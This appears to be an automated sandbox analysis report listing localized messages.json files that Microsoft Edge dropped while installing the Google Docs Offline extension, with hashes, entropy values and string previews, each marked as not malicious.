Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Reputation:	unknown
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
